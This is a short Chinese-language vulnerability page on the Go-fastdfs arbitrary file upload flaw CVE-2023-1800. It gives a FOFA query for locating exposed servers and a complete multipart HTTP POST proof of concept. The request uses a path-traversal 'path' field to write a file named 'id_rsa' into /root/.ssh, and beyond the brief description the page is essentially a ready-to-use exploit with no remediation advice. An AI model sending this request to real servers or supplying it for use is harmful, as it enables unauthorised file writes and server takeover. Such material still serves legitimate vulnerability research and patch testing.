# Go-fastdfs upload 任意文件上传漏洞 CVE-2023-1800

## 漏洞描述

Go-fastdfs upload 接口存在任意文件上传漏洞，攻击者通过漏洞可以上传任意文件到服务器中，攻击服务器

## 漏洞影响

```
Go-fastdfs
```

## FOFA

```
"go-fastdfs"
```

## 漏洞复现

主页面

![image-20230417094508409](images/image-20230417094508409.png)

验证POC

```
POST /group1/upload HTTP/1.1
Host: 
Content-Length: 951
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryigj9M9EJykZc9u53
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryigj9M9EJykZc9u53
Content-Disposition: form-data; name="file"; filename="id"
Content-Type: application/octet-stream

test
------WebKitFormBoundaryigj9M9EJykZc9u53
Content-Disposition: form-data; name="scene"

default
------WebKitFormBoundaryigj9M9EJykZc9u53
Content-Disposition: form-data; name="filename"

id_rsa
------WebKitFormBoundaryigj9M9EJykZc9u53
Content-Disposition: form-data; name="output"

json2
------WebKitFormBoundaryigj9M9EJykZc9u53
Content-Disposition: form-data; name="path"

../../../../../root/.ssh
------WebKitFormBoundaryigj9M9EJykZc9u53
Content-Disposition: form-data; name="code"


------WebKitFormBoundaryigj9M9EJykZc9u53
Content-Disposition: form-data; name="auth_token"


------WebKitFormBoundaryigj9M9EJykZc9u53
Content-Disposition: form-data; name="submit"

upload
------WebKitFormBoundaryigj9M9EJykZc9u53--
```

![image-20230417100221820](images/image-20230417100221820.png)

![image-20230417100230696](images/image-20230417100230696.png)